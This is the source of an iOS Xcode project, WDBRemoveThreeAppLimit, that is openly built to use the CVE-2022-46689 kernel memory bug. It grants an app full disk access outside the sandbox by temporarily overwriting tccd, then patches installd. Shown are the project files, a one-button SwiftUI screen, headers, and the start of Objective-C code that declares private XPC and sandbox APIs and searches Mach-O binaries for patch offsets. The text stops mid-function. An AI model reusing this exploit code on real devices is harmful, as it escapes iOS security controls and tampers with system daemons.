├── .clang-format ├── .gitignore ├── WDBRemoveThreeAppLimit.xcodeproj ├── project.pbxproj └── project.xcworkspace │ ├── contents.xcworkspacedata │ └── xcshareddata │ └── IDEWorkspaceChecks.plist └── WDBRemoveThreeAppLimit ├── Assets.xcassets ├── AccentColor.colorset │ └── Contents.json ├── AppIcon.appiconset │ └── Contents.json └── Contents.json ├── ContentView.swift ├── Preview Content └── Preview Assets.xcassets │ └── Contents.json ├── WDBRemoveThreeAppLimit-Bridging-Header.h ├── WDBRemoveThreeAppLimitApp.swift ├── grant_full_disk_access.h ├── grant_full_disk_access.m ├── helpers.h ├── helpers.m ├── vm_unaligned_copy_switch_race.c └── vm_unaligned_copy_switch_race.h /.clang-format: -------------------------------------------------------------------------------- 1 | BasedOnStyle: Google 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | grant2.m 2 | grant2 3 | installd 4 | installd2 5 | xcuserdata 6 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit.xcodeproj/project.pbxproj: -------------------------------------------------------------------------------- 1 | // !$*UTF8*$! 2 | { 3 | archiveVersion = 1; 4 | classes = { 5 | }; 6 | objectVersion = 56; 7 | objects = { 8 | 9 | /* Begin PBXBuildFile section */ 10 | C50030A4298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = C50030A3298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift */; }; 11 | C50030A6298A1F5800C88646 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = C50030A5298A1F5800C88646 /* ContentView.swift */; }; 12 | C50030A8298A1F5A00C88646 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C50030A7298A1F5A00C88646 /* Assets.xcassets */; }; 13 | C50030AB298A1F5A00C88646 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C50030AA298A1F5A00C88646 /* Preview Assets.xcassets */; }; 14 | C50030B8298A1F9100C88646 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = C50030B3298A1F9000C88646 /* grant_full_disk_access.m */; }; 15 | C50030B9298A1F9100C88646 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = C50030B6298A1F9100C88646 /* helpers.m */; }; 16 | C50030BA298A1F9100C88646 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = C50030B7298A1F9100C88646 /* vm_unaligned_copy_switch_race.c */; }; 17 | /* End PBXBuildFile section */ 18 | 19 | /* Begin PBXFileReference section */ 20 | C50030A0298A1F5800C88646 /* WDBRemoveThreeAppLimit.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = WDBRemoveThreeAppLimit.app; sourceTree = BUILT_PRODUCTS_DIR; }; 21 | C50030A3298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WDBRemoveThreeAppLimitApp.swift; sourceTree = ""; }; 22 | C50030A5298A1F5800C88646 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = ""; }; 23 | C50030A7298A1F5A00C88646 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 24 | C50030AA298A1F5A00C88646 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = ""; }; 25 | C50030B1298A1F9000C88646 /* WDBRemoveThreeAppLimit-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "WDBRemoveThreeAppLimit-Bridging-Header.h"; sourceTree = ""; }; 26 | C50030B2298A1F9000C88646 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; 27 | C50030B3298A1F9000C88646 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; 28 | C50030B4298A1F9000C88646 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; 29 | C50030B5298A1F9100C88646 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; 30 | C50030B6298A1F9100C88646 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; 31 | C50030B7298A1F9100C88646 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; 32 | /* End PBXFileReference section */ 33 | 34 | /* Begin PBXFrameworksBuildPhase section */ 35 | C500309D298A1F5800C88646 /* Frameworks */ = { 36 | isa = PBXFrameworksBuildPhase; 37 | buildActionMask = 2147483647; 38 | files = ( 39 | ); 40 | runOnlyForDeploymentPostprocessing = 0; 41 | }; 42 | /* End PBXFrameworksBuildPhase section */ 43 | 44 | /* Begin PBXGroup section */ 45 | C5003097298A1F5800C88646 = { 46 | isa = PBXGroup; 47 | children = ( 48 | C50030A2298A1F5800C88646 /* WDBRemoveThreeAppLimit */, 49 | C50030A1298A1F5800C88646 /* Products */, 50 | ); 51 | sourceTree = ""; 52 | }; 53 | C50030A1298A1F5800C88646 /* Products */ = { 54 | isa = PBXGroup; 55 | children = ( 56 | C50030A0298A1F5800C88646 /* WDBRemoveThreeAppLimit.app */, 57 | ); 58 | name = Products; 59 | sourceTree = ""; 60 | }; 61 | C50030A2298A1F5800C88646 /* WDBRemoveThreeAppLimit */ = { 62 | isa = PBXGroup; 63 | children = ( 64 | C50030A3298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift */, 65 | C50030A5298A1F5800C88646 /* ContentView.swift */, 66 | C50030A7298A1F5A00C88646 /* Assets.xcassets */, 67 | C50030A9298A1F5A00C88646 /* Preview Content */, 68 | C50030B1298A1F9000C88646 /* WDBRemoveThreeAppLimit-Bridging-Header.h */, 69 | C50030B5298A1F9100C88646 /* grant_full_disk_access.h */, 70 | C50030B3298A1F9000C88646 /* grant_full_disk_access.m */, 71 | C50030B4298A1F9000C88646 /* helpers.h */, 72 | C50030B6298A1F9100C88646 /* helpers.m */, 73 | C50030B7298A1F9100C88646 /* vm_unaligned_copy_switch_race.c */, 74 | C50030B2298A1F9000C88646 /* vm_unaligned_copy_switch_race.h */, 75 | ); 76 | path = WDBRemoveThreeAppLimit; 77 | sourceTree = ""; 78 | }; 79 | C50030A9298A1F5A00C88646 /* Preview Content */ = { 80 | isa = PBXGroup; 81 | children = ( 82 | C50030AA298A1F5A00C88646 /* Preview Assets.xcassets */, 83 | ); 84 | path = "Preview Content"; 85 | sourceTree = ""; 86 | }; 87 | /* End PBXGroup section */ 88 | 89 | /* Begin PBXNativeTarget section */ 90 | C500309F298A1F5800C88646 /* WDBRemoveThreeAppLimit */ = { 91 | isa = PBXNativeTarget; 92 | buildConfigurationList = C50030AE298A1F5A00C88646 /* Build configuration list for PBXNativeTarget "WDBRemoveThreeAppLimit" */; 93 | buildPhases = ( 94 | C500309C298A1F5800C88646 /* Sources */, 95 | C500309D298A1F5800C88646 /* Frameworks */, 96 | C500309E298A1F5800C88646 /* Resources */, 97 | ); 98 | buildRules = ( 99 | ); 100 | dependencies = ( 101 | ); 102 | name = WDBRemoveThreeAppLimit; 103 | productName = WDBRemoveThreeAppLimit; 104 | productReference = C50030A0298A1F5800C88646 /* WDBRemoveThreeAppLimit.app */; 105 | productType = "com.apple.product-type.application"; 106 | }; 107 | /* End PBXNativeTarget section */ 108 | 109 | /* Begin PBXProject section */ 110 | C5003098298A1F5800C88646 /* Project object */ = { 111 | isa = PBXProject; 112 | attributes = { 113 | BuildIndependentTargetsInParallel = 1; 114 | LastSwiftUpdateCheck = 1420; 115 | LastUpgradeCheck = 1420; 116 | TargetAttributes = { 117 | C500309F298A1F5800C88646 = { 118 | CreatedOnToolsVersion = 14.2; 119 | LastSwiftMigration = 1420; 120 | }; 121 | }; 122 | }; 123 | buildConfigurationList = C500309B298A1F5800C88646 /* Build configuration list for PBXProject "WDBRemoveThreeAppLimit" */; 124 | compatibilityVersion = "Xcode 14.0"; 125 | developmentRegion = en; 126 | hasScannedForEncodings = 0; 127 | knownRegions = ( 128 | en, 129 | Base, 130 | ); 131 | mainGroup = C5003097298A1F5800C88646; 132 | productRefGroup = C50030A1298A1F5800C88646 /* Products */; 133 | projectDirPath = ""; 134 | projectRoot = ""; 135 | targets = ( 136 | C500309F298A1F5800C88646 /* WDBRemoveThreeAppLimit */, 137 | ); 138 | }; 139 | /* End PBXProject section */ 140 | 141 | /* Begin PBXResourcesBuildPhase section */ 142 | C500309E298A1F5800C88646 /* Resources */ = { 143 | isa = PBXResourcesBuildPhase; 144 | buildActionMask = 2147483647; 145 | files = ( 146 | C50030AB298A1F5A00C88646 /* Preview Assets.xcassets in Resources */, 147 | C50030A8298A1F5A00C88646 /* Assets.xcassets in Resources */, 148 | ); 149 | runOnlyForDeploymentPostprocessing = 0; 150 | }; 151 | /* End PBXResourcesBuildPhase section */ 152 | 153 | /* Begin PBXSourcesBuildPhase section */ 154 | C500309C298A1F5800C88646 /* Sources */ = { 155 | isa = PBXSourcesBuildPhase; 156 | buildActionMask = 2147483647; 157 | files = ( 158 | C50030A6298A1F5800C88646 /* ContentView.swift in Sources */, 159 | C50030BA298A1F9100C88646 /* vm_unaligned_copy_switch_race.c in Sources */, 160 | C50030A4298A1F5800C88646 /* WDBRemoveThreeAppLimitApp.swift in Sources */, 161 | C50030B8298A1F9100C88646 /* grant_full_disk_access.m in Sources */, 162 | C50030B9298A1F9100C88646 /* helpers.m in Sources */, 163 | ); 164 | runOnlyForDeploymentPostprocessing = 0; 165 | }; 166 | /* End PBXSourcesBuildPhase section */ 167 | 168 | /* Begin XCBuildConfiguration section */ 169 | C50030AC298A1F5A00C88646 /* Debug */ = { 170 | isa = XCBuildConfiguration; 171 | buildSettings = { 172 | ALWAYS_SEARCH_USER_PATHS = NO; 173 | CLANG_ANALYZER_NONNULL = YES; 174 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 175 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 176 | CLANG_ENABLE_MODULES = YES; 177 | CLANG_ENABLE_OBJC_ARC = YES; 178 | CLANG_ENABLE_OBJC_WEAK = YES; 179 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 180 | CLANG_WARN_BOOL_CONVERSION = YES; 181 | CLANG_WARN_COMMA = YES; 182 | CLANG_WARN_CONSTANT_CONVERSION = YES; 183 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 184 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 185 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 186 | CLANG_WARN_EMPTY_BODY = YES; 187 | CLANG_WARN_ENUM_CONVERSION = YES; 188 | CLANG_WARN_INFINITE_RECURSION = YES; 189 | CLANG_WARN_INT_CONVERSION = YES; 190 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 191 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 192 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 193 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 194 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 195 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 196 | CLANG_WARN_STRICT_PROTOTYPES = YES; 197 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 198 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 199 | CLANG_WARN_UNREACHABLE_CODE = YES; 200 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 201 | COPY_PHASE_STRIP = NO; 202 | DEBUG_INFORMATION_FORMAT = dwarf; 203 | ENABLE_STRICT_OBJC_MSGSEND = YES; 204 | ENABLE_TESTABILITY = YES; 205 | GCC_C_LANGUAGE_STANDARD = gnu11; 206 | GCC_DYNAMIC_NO_PIC = NO; 207 | GCC_NO_COMMON_BLOCKS = YES; 208 | GCC_OPTIMIZATION_LEVEL = 0; 209 | GCC_PREPROCESSOR_DEFINITIONS = ( 210 | "DEBUG=1", 211 | "$(inherited)", 212 | ); 213 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 214 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 215 | GCC_WARN_UNDECLARED_SELECTOR = YES; 216 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 217 | GCC_WARN_UNUSED_FUNCTION = YES; 218 | GCC_WARN_UNUSED_VARIABLE = YES; 219 | IPHONEOS_DEPLOYMENT_TARGET = 16.2; 220 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 221 | MTL_FAST_MATH = YES; 222 | ONLY_ACTIVE_ARCH = YES; 223 | SDKROOT = iphoneos; 224 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; 225 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 226 | }; 227 | name = Debug; 228 | }; 229 | C50030AD298A1F5A00C88646 /* Release */ = { 230 | isa = XCBuildConfiguration; 231 | buildSettings = { 232 | ALWAYS_SEARCH_USER_PATHS = NO; 233 | CLANG_ANALYZER_NONNULL = YES; 234 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 235 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 236 | CLANG_ENABLE_MODULES = YES; 237 | CLANG_ENABLE_OBJC_ARC = YES; 238 | CLANG_ENABLE_OBJC_WEAK = YES; 239 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 240 | CLANG_WARN_BOOL_CONVERSION = YES; 241 | CLANG_WARN_COMMA = YES; 242 | CLANG_WARN_CONSTANT_CONVERSION = YES; 243 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 244 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 245 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 246 | CLANG_WARN_EMPTY_BODY = YES; 247 | CLANG_WARN_ENUM_CONVERSION = YES; 248 | CLANG_WARN_INFINITE_RECURSION = YES; 249 | CLANG_WARN_INT_CONVERSION = YES; 250 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 251 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 252 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 253 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 254 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 255 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 256 | CLANG_WARN_STRICT_PROTOTYPES = YES; 257 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 258 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 259 | CLANG_WARN_UNREACHABLE_CODE = YES; 260 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 261 | COPY_PHASE_STRIP = NO; 262 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 263 | ENABLE_NS_ASSERTIONS = NO; 264 | ENABLE_STRICT_OBJC_MSGSEND = YES; 265 | GCC_C_LANGUAGE_STANDARD = gnu11; 266 | GCC_NO_COMMON_BLOCKS = YES; 267 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 268 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 269 | GCC_WARN_UNDECLARED_SELECTOR = YES; 270 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 271 | GCC_WARN_UNUSED_FUNCTION = YES; 272 | GCC_WARN_UNUSED_VARIABLE = YES; 273 | IPHONEOS_DEPLOYMENT_TARGET = 16.2; 274 | MTL_ENABLE_DEBUG_INFO = NO; 275 | MTL_FAST_MATH = YES; 276 | SDKROOT = iphoneos; 277 | SWIFT_COMPILATION_MODE = wholemodule; 278 | SWIFT_OPTIMIZATION_LEVEL = "-O"; 279 | VALIDATE_PRODUCT = YES; 280 | }; 281 | name = Release; 282 | }; 283 | C50030AF298A1F5A00C88646 /* Debug */ = { 284 | isa = XCBuildConfiguration; 285 | buildSettings = { 286 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 287 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; 288 | CLANG_ENABLE_MODULES = YES; 289 | CODE_SIGN_STYLE = Automatic; 290 | CURRENT_PROJECT_VERSION = 1; 291 | DEVELOPMENT_ASSET_PATHS = "\"WDBRemoveThreeAppLimit/Preview Content\""; 292 | DEVELOPMENT_TEAM = 3D7RY4393N; 293 | ENABLE_PREVIEWS = YES; 294 | GENERATE_INFOPLIST_FILE = YES; 295 | INFOPLIST_KEY_NSAppleMusicUsageDescription = "Full access to files on your device is required to apply tweaks."; 296 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; 297 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; 298 | INFOPLIST_KEY_UILaunchScreen_Generation = YES; 299 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 300 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 301 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 302 | LD_RUNPATH_SEARCH_PATHS = ( 303 | "$(inherited)", 304 | "@executable_path/Frameworks", 305 | ); 306 | MARKETING_VERSION = 1.0; 307 | PRODUCT_BUNDLE_IDENTIFIER = com.worthdoingbadly.WDBRemoveThreeAppLimit; 308 | PRODUCT_NAME = "$(TARGET_NAME)"; 309 | SWIFT_EMIT_LOC_STRINGS = YES; 310 | SWIFT_OBJC_BRIDGING_HEADER = "WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimit-Bridging-Header.h"; 311 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 312 | SWIFT_VERSION = 5.0; 313 | TARGETED_DEVICE_FAMILY = "1,2"; 314 | }; 315 | name = Debug; 316 | }; 317 | C50030B0298A1F5A00C88646 /* Release */ = { 318 | isa = XCBuildConfiguration; 319 | buildSettings = { 320 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 321 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; 322 | CLANG_ENABLE_MODULES = YES; 323 | CODE_SIGN_STYLE = Automatic; 324 | CURRENT_PROJECT_VERSION = 1; 325 | DEVELOPMENT_ASSET_PATHS = "\"WDBRemoveThreeAppLimit/Preview Content\""; 326 | DEVELOPMENT_TEAM = 3D7RY4393N; 327 | ENABLE_PREVIEWS = YES; 328 | GENERATE_INFOPLIST_FILE = YES; 329 | INFOPLIST_KEY_NSAppleMusicUsageDescription = "Full access to files on your device is required to apply tweaks."; 330 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; 331 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; 332 | INFOPLIST_KEY_UILaunchScreen_Generation = YES; 333 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 334 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 335 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 336 | LD_RUNPATH_SEARCH_PATHS = ( 337 | "$(inherited)", 338 | "@executable_path/Frameworks", 339 | ); 340 | MARKETING_VERSION = 1.0; 341 | PRODUCT_BUNDLE_IDENTIFIER = com.worthdoingbadly.WDBRemoveThreeAppLimit; 342 | PRODUCT_NAME = "$(TARGET_NAME)"; 343 | SWIFT_EMIT_LOC_STRINGS = YES; 344 | SWIFT_OBJC_BRIDGING_HEADER = "WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimit-Bridging-Header.h"; 345 | SWIFT_VERSION = 5.0; 346 | TARGETED_DEVICE_FAMILY = "1,2"; 347 | }; 348 | name = Release; 349 | }; 350 | /* End XCBuildConfiguration section */ 351 | 352 | /* Begin XCConfigurationList section */ 353 | C500309B298A1F5800C88646 /* Build configuration list for PBXProject "WDBRemoveThreeAppLimit" */ = { 354 | isa = XCConfigurationList; 355 | buildConfigurations = ( 356 | C50030AC298A1F5A00C88646 /* Debug */, 357 | C50030AD298A1F5A00C88646 /* Release */, 358 | ); 359 | defaultConfigurationIsVisible = 0; 360 | defaultConfigurationName = Release; 361 | }; 362 | C50030AE298A1F5A00C88646 /* Build configuration list for PBXNativeTarget "WDBRemoveThreeAppLimit" */ = { 363 | isa = XCConfigurationList; 364 | buildConfigurations = ( 365 | C50030AF298A1F5A00C88646 /* Debug */, 366 | C50030B0298A1F5A00C88646 /* Release */, 367 | ); 368 | defaultConfigurationIsVisible = 0; 369 | defaultConfigurationName = Release; 370 | }; 371 | /* End XCConfigurationList section */ 372 | }; 373 | rootObject = C5003098298A1F5800C88646 /* Project object */; 374 | } 375 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit.xcodeproj/project.xcworkspace/contents.xcworkspacedata: -------------------------------------------------------------------------------- 1 | 2 | 4 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDEDidComputeMac32BitWarning 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/Assets.xcassets/AccentColor.colorset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "colors" : [ 3 | { 4 | "idiom" : "universal" 5 | } 6 | ], 7 | "info" : { 8 | "author" : "xcode", 9 | "version" : 1 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/Assets.xcassets/AppIcon.appiconset/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "images" : [ 3 | { 4 | "idiom" : "universal", 5 | "platform" : "ios", 6 | "size" : "1024x1024" 7 | } 8 | ], 9 | "info" : { 10 | "author" : "xcode", 11 | "version" : 1 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "author" : "xcode", 4 | "version" : 1 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/ContentView.swift: -------------------------------------------------------------------------------- 1 | // 2 | // ContentView.swift 3 | // WDBRemoveThreeAppLimit 4 | // 5 | // Created by Zhuowei Zhang on 2023-01-31. 6 | // 7 | 8 | import SwiftUI 9 | 10 | struct ContentView: View { 11 | @State private var message = "" 12 | var body: some View { 13 | VStack { 14 | Image(systemName: "globe") 15 | .imageScale(.large) 16 | .foregroundColor(.accentColor) 17 | Text(message) 18 | Button(action: { 19 | grant_full_disk_access { error in 20 | if let error = error { 21 | print(error) 22 | DispatchQueue.main.async { 23 | message = "Failed to get full disk access: \(error)" 24 | } 25 | return 26 | } 27 | if !patch_installd() { 28 | print("can't patch installd") 29 | DispatchQueue.main.async { 30 | message = "Failed to patch installd." 31 | } 32 | return 33 | } 34 | DispatchQueue.main.async { 35 | message = "Success." 36 | } 37 | } 38 | }) { 39 | Text("Go") 40 | }.padding(16) 41 | } 42 | .padding() 43 | } 44 | } 45 | 46 | struct ContentView_Previews: PreviewProvider { 47 | static var previews: some View { 48 | ContentView() 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/Preview Content/Preview Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "author" : "xcode", 4 | "version" : 1 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimit-Bridging-Header.h: -------------------------------------------------------------------------------- 1 | // 2 | // Use this file to import your target's public headers that you would like to expose to Swift. 3 | // 4 | 5 | #import "grant_full_disk_access.h" 6 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/WDBRemoveThreeAppLimitApp.swift: -------------------------------------------------------------------------------- 1 | // 2 | // WDBRemoveThreeAppLimitApp.swift 3 | // WDBRemoveThreeAppLimit 4 | // 5 | // Created by Zhuowei Zhang on 2023-01-31. 6 | // 7 | 8 | import SwiftUI 9 | 10 | @main 11 | struct WDBRemoveThreeAppLimitApp: App { 12 | var body: some Scene { 13 | WindowGroup { 14 | ContentView() 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/grant_full_disk_access.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | @import Foundation; 3 | 4 | /// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox. 5 | void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable)); 6 | bool patch_installd(void); 7 | -------------------------------------------------------------------------------- /WDBRemoveThreeAppLimit/grant_full_disk_access.m: -------------------------------------------------------------------------------- 1 | @import Darwin; 2 | @import Foundation; 3 | @import MachO; 4 | 5 | #import 6 | // you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from 7 | // WDBFontOverwrite 8 | // Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) 9 | // Please don't call this code on iOS 14 or below 10 | // (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) 11 | #import "grant_full_disk_access.h" 12 | #import "helpers.h" 13 | #import "vm_unaligned_copy_switch_race.h" 14 | 15 | typedef NSObject* xpc_object_t; 16 | typedef xpc_object_t xpc_connection_t; 17 | typedef void (^xpc_handler_t)(xpc_object_t object); 18 | xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, 19 | xpc_object_t _Nullable const* values, size_t count); 20 | xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, 21 | uint64_t flags); 22 | void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); 23 | void xpc_connection_resume(xpc_connection_t connection); 24 | void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, 25 | dispatch_queue_t replyq, xpc_handler_t handler); 26 | xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, 27 | xpc_object_t message); 28 | xpc_object_t xpc_bool_create(bool value); 29 | xpc_object_t xpc_string_create(const char* string); 30 | xpc_object_t xpc_null_create(void); 31 | const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); 32 | 33 | int64_t sandbox_extension_consume(const char* token); 34 | 35 | // MARK: - patchfind 36 | 37 | struct grant_full_disk_access_offsets { 38 | uint64_t offset_addr_s_com_apple_tcc_; 39 | uint64_t offset_padding_space_for_read_write_string; 40 | uint64_t offset_addr_s_kTCCServiceMediaLibrary; 41 | uint64_t offset_auth_got__sandbox_init; 42 | uint64_t offset_just_return_0; 43 | bool is_arm64e; 44 | }; 45 | 46 | static bool patchfind_sections(void* executable_map, 47 | struct segment_command_64** data_const_segment_out, 48 | struct symtab_command** symtab_out, 49 | struct dysymtab_command** dysymtab_out) { 50 | struct mach_header_64* executable_header = executable_map; 51 | struct load_command* load_command = executable_map + sizeof(struct mach_header_64); 52 | for (int load_command_index = 0; load_command_index < executable_header->ncmds; 53 | load_command_index++) { 54 | switch (load_command->cmd) { 55 | case LC_SEGMENT_64: { 56 | struct segment_command_64* segment = (struct segment_command_64*)load_command; 57 | if (strcmp(segment->segname, "__DATA_CONST") == 0) { 58 | *data_const_segment_out = segment; 59 | } 60 | break; 61 | } 62 | case LC_SYMTAB: { 63 | *symtab_out = (struct symtab_command*)load_command; 64 | break; 65 | } 66 | case LC_DYSYMTAB: { 67 | *dysymtab_out = (struct dysymtab_command*)load_command; 68 | break; 69 | } 70 | } 71 | load_command = ((void*)load_command) + load_command->cmdsize; 72 | } 73 | return true; 74 | } 75 | 76 | static uint64_t patchfind_get_padding(struct segment_command_64* segment) { 77 | struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); 78 | struct section_64* last_section = §ion_array[segment->nsects - 1]; 79 | return last_section->offset + last_section->size; 80 | } 81 | 82 | static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, 83 | const char* needle) { 84 | void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); 85 | if (!str_offset) { 86 | return 0; 87 | } 88 | uint64_t str_file_offset = str_offset - executable_map; 89 | for (int i = 0; i < executable_length; i += 8) { 90 | uint64_t val = *(uint64_t*)(executable_map + i); 91 | if ((val & 0xfffffffful) == str_file_offset) { 92 | return i; 93 | } 94 | } 95 | return 0; 96 | } 97 | 98 | static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { 99 | // TCCDSyncAccessAction::sequencer 100 | // mov x0, #0 101 | // 